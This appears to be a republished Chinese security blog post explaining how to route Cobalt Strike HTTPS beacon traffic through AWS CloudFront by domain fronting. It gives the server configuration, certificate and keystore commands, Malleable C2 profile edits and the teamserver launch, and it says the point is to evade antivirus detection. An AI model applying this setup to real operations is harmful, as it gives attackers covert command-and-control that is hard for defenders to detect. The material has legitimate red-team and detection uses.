前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Domain Fronting域前置隐藏HTTPS

Domain Fronting域前置隐藏HTTPS

作者头像
潇湘信安
发布2021-05-18 11:50:57
1.4K0
发布2021-05-18 11:50:57
举报
文章被收录于专栏:潇湘信安

  • https://jkme.github.io/cloudfont-domain-fronting-https.html

前言 记录一下当使用Domain Fronting中使用https来上线时候的坑,因为查了半圈没有找到类似的资料,为啥非要https呢,因为node32对http的流量很敏感。 目标

  1. 使用Windows/beacon_https/reverse_https作为上线的payload
  2. AWS的Cloudfront作为前置域名

准备工作 域名(example.com) VPS(Centos) cloudflare(只作域名解析,不添加任何其他功能,不加CDN,不加HTTPS) HTTPS连通性 安装的apache是测试连通性,除此之外没有任何用处。 yum install httpd systemctl start httpd 1. 增加apache配置文件 #/etc/httpd/conf.d/vhost.conf <VirtualHost *:80> DocumentRoot /var/www/html ServerName example.com RewriteEngine on RewriteCond %{SERVER_NAME} =example.com RewriteRule ^ https://%{SERVER_NAME}%{REQUEST_URI} [END,NE,R=permanent] </VirtualHost> 2. 设置https 运行脚本HTTPsC2DoneRight.sh生成对应需要的文件,比如letsencrypt、amazon.profile等文件,这个时候https会自动设置成功,测试如下: curl http://example.com curl https://example.com 这时候会生成https通信需要的证书文件,一般是通过自签名Letsencrypt申请下来的: ./letsencrypt-auto certonly --standalone -d 域名 --email 邮箱(可匿名) openssl pkcs12 -export -in fullchain.pem -inkey privkey.pem -out pkcs.p12 -name 域名 -passout pass:ABcd123456 keytool -importkeystore -deststorepass ABcd123456 -destkeypass ABcd123456 -destkeystore keystore.store -srckeystore pkcs.p12 -srcstoretype PKCS12 -srcstorepass ABcd123456 -alias 域名 生成的keystore是后面设置CS配置文件的时候使用。 设置CloudFront 标红的点特别注意,要改成这个样子,否则测试失败。更改之后发布,测试此时的CloudFront是否生效: curl https://<example>.cloudfront.net curl http://<example>.cloudfront.net 设置Profile 生成Profile,上面生成的amazon.profile测试上线失败。 cd && git clone https://github.com/bluscreenofjeff/Malleable-C2-Randomizer && cd Malleable-C2-Randomizer python malleable-c2-randomizer.py -profile Sample\ Templates/Pandora.profile -notest cp pandora_<random>.profile /root/cobaltstrike/httpsProfile/ 修改profile

  1. 把amazon.profile的最后四行设置https的添加到pandora_.profile里面。
  2. 修改pandora_<random.profile里面的Host,改为aws申请下来的加速域名。
  3. 在profile文件最后新增配置:

https-certificate { set keystore "keystore.store"; set password "1234565"; } http-config { set trust_x_forwarded_for "true"; } 设置CS systemctl stop httpd //关闭apache ./teamserver <IP> <Pass> <path to pandora profile> 新建一个listener: 查看CS的WEBlog: curl https://cloudfront.net/Hello 在weblog里面查看到对应的请求即设置成功。 关注公众号回复“9527”可免费获取一套HTB靶场文档和视频,“1120”安全参考等安全杂志PDF电子版,“1208”个人常用高效爆破字典,“0221”2020年酒仙桥文章打包,还在等什么?赶紧点击下方名片关注学习吧!

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-05-01,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 潇湘信安 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
命令行工具
腾讯云命令行工具 TCCLI 是管理腾讯云资源的统一工具。使用腾讯云命令行工具,您可以快速调用腾讯云 API 来管理您的腾讯云资源。此外,您还可以基于腾讯云的命令行工具来做自动化和脚本处理,以更多样的方式进行组合和重用。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档